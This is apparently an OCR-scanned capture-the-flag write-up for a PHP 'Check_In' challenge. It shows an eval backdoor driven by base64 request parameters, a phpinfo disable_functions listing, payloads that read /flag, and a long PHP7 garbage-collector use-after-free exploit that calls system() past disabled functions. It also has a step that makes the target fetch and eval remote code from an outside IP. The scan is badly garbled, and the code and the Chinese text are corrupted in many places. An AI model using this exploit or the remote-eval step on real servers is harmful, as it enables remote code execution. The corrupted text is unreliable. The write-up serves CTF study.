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<title>Check_In</title>
<?php
highlight_file(__FILE_ );
class ClassName

{
public $code = null;
public $decode = null;
function __ construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
¥
public function x()
{
return $_REQUEST;
}
}

new ClassName();
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default_mimetype

text/html

text/html

disable_classes

no value

no vaiue

disable_functions

pentl_alarm, pentl_fork,pentl_waitpid,pentl_wait,p
cntl_wifexited, pcntl_wifstopped, pentl_wifsignaled
pentl_wifcontinued, pcntl_wexitstatus, pcntl_wter
msig,pcntl_wstopsig,pcntl_signal,pcntl_signal_ge
t_handler,pcntl_signal_dispatch,pcntl_get_last_er
ror.pcntl_strerror,pentl_sigprocmask.pentl_sigwai
tinfo,pcntl_sigtimedwait.pcntl_exec,pcntl_getprio
rity, pcntl_setpriority, pentl_async_signals,system,
exec,shell_exec,popen,proc_open,passthru,symli

nk.link,syslog,imap_open,|d,dl,

pentl_alarm,pentl_fork,pentl_waitpid, pcntl_wait,p
cntl_wifexited, pcntl_wifstopped, pentl_wifsignaled
pcntl_wifcontinued, pentl_wexitstatus,pcntl_wter
msig, pcntl_wstopsig,pcntl_signal,pcntl_signal_ge
t_handler,pcntl_signal_dispatch,pcntl_get_last_er
ror.pcntl_strerror,pentl_sigprocmask, pontl_sigwai
tinfo,pcntl_sigtimedwait, pcntl_exec,pcntl_getprio
rity.pentl_setpriority, pcntl_async_signals,system,
exec,shell_exec,popen,proc_open,passthru,symli

nk,link,syslog,imap_open, Id,dl,

display_errors off off
display_startup_errors off off
doc_root alue alue
docref_ext alue alue
docref_root alue alue
enable_dl off off
enable_post_data_reading On On

error_append_string

error_log

error_prepend_string

error_reporting
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index.php?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcvJykpOw==

<title>Check In</title>
<?php
highlight file( FILE );
class ClassName
{
public $code = null;
public $decode =null;
function _ construct()
{
$this->code =@$this->x()['Ginkgo'];
$this->decode =@base64_decode( sthis->code);
@Eval(s$this->decode);
}

public functionx()
{

return $_REQUEST;
}

}
new ClassName( ) ; Array ([0] =>.[1] =>..[2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => |ib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => readflag [16] => root

[17]=> run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var )
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print_r(readfile('/flag'));

index.php?Ginko=cHJpbnRfcihyZWFkZmlsZSgnL2ZsYWcnKSKk7

RIFEA gE 1L B flag, A% 3B — TFreadflag
index.php?Ginkgo=cHJpbnRfcihyZWFkZmlsZSgnL3JIYWRmMbGFnJykpOw=




&« c @ buuoj.cn rmmoe® e e » =

<title>Check_In</title>
<?php
highlight file( FILE );
class ClassName
{
public $code =null;
public $decode =null;
function _ construct()
{
$this->code=@$this->x()['Ginkgo'];
$this->decode = @base6d decode( $this->code );
@Eval(sthis->decode);
}

public function x()

return $_REQUEST;

}
}
new ClassName() ; ELF: \ 4 ©0 99 ©hp &0 & OOTTTDDPOLIV VG <<QOtdROLIY € € XX/lib64/Id-linux-x86-64.50.2GNUGNU @ ## @9~ 9 € 19 { ©9Kkh&M /i (x
"libc.so.6setuidsystem__cxa_finalizesetgid_libc_start mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start__ITM_registerTMCloneTableui A® €€ ¢ ¢ € ¢ ¢ ¢ ¢ ¢ ¢ HOOHO ) HOOLOOHO VO O5* €%, @O%* 000G 6 0%"
hOOOGH00% GG0066%2 (910190 HOGHOGOPTLOOHS #HO=6G0 $DHO= UHG HOOHOOHOH HOGL |041.910E1 OHO=6 HOS5O UH) OHOGHOGHOOHGOTHOHOGOHO O HOGLIOOTO10ET.GH=y u/HEG=W
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GOG0006 GO HX® V600GV 008GVV00G00"O0GoH €66 GCC: (Ubuntu 7.5.0-3ubuntul~18.04) 7.5.08TtH €8 X '€ €40 0000 € © & €060 OTFIMOYG G00600000000 000V G006 G0 30NN OGO
GO s0+6 9050000
crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7698__do_global_dtors_aux fini_array_entryframe_dummy_ frame_dummy_init_array_entryreadflag.c_ FRAME_END___init_array_end DYNAMIC__init_array_start_ GNU_EH_FR
tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.pit.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment88#TT Ltt$D9 @ @0 @ OPNG GOV 966 0600
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https://github.com/mmOr1/exploits/blob/master/php7-gc-bypass/exploit.php
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https://github.com/mmOr1/exploits/blob/master/php-json-bypass/exploit.php

exploitftig

bypass.ixt

pwn("uname -a&&/readflag"); #REHITHIHS

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 05 $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}

return $address;

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {



$out .= chr($ptr & Oxff);
$ptr >>= 8;
¥

return $out;

function write(&$str, $p, $v, $n = 8) {
$i = o;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & oxff);
$v >>= 8;

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr
$data_size = $p_memsz;

} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;

$e_type == 2 ? $p_vaddr : $base + $p_vaddr;

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text _size, $data_size];

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e€6174736e6163)

P
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} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326€6962)
continue;
} else continue;

return $data_addr + $i * 8;

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & Oxfffffffffffffooo;
for($i = 0; $i < Ox1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, @, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;

class ryat {
var $ryat;
var $chtg;

function _ destruct()

{
$this->chtg
$this->ryat

$this->ryat;
1;

class Helper {
public $a, $b, $c, $d;

if(stristr(PHP_0S, 'WIN')) {
die('This PoC is for *nix systems only.');



$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;0:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}";
$out = unserialize($poc);
gc_collect_cycles();

$v = [1;

$v[@] = ptr2str(e, 79);
unset($v);

$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == @) {
die("UAF failed");

# leaks

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, ©xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary base($binary_leak))) {
die("Couldn't determine binary base address");

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif system address");

# fake closure object
$fake_obj_offset = 0xdo;
for($i = 0; $i < ox110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));



# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xde + 0x38, 1, 4); # internal func type
write($abc, 0xdo + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
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B A1 bypass.txt_E 4% FLinux Labsk/variwww/html B 3%, & 5 apache2, B 7]
BAER ] AR T ,payloadin F:
eval(file_get_contents('http://174.1.131.30/bypass.txt"));

X B 174.1.131.30IP R A1 2 I Linux Labs i I K IP

X B AL A, 0 R 2t payloadin % base64, 1T it 2 iR 55 25 2 i 50044 17
Bt ASRAN S AN — F) 15 19, 8 J5 F A% payload

MAITEWT:

eval($_POST["okami"]);
index.php?Ginkgo=2XZhbCgkX1BPU1RbIm9rYW1pllOpOw==

A B POST % 3K

okami=eval(file_get_contents("http://174.1.131.30/bypass.ixt"));
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/index. php?6inkgo=2XZhbCgkX1BPUIRbImO rYW1pI16pOw==

Auto-Pwn =
[“JEnable post Data

okami=eval (file_get_contents("http://174.1.131.30
/bypass.txt"));

["lEnable Referer

Maodified by DLS, credits to mxcx@fosec.yn
Source: hftps:/github.com/notdls/hackbar
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<title=Check In</title>
<?php
highlight_file(_ FILE_ );
class ClassName
{
public scode=null;
public $decode = null;
function __construct()
{
$this->code =@$this->x()['Ginkga'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public functionx()

{
return $_REQUEST;

}
}
new ClassName () ; Linux 4b5e6b40b166 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 GNU/Linux flag{71b83da0-69¢3-40a2-84bf-
37bcc7ba5604}
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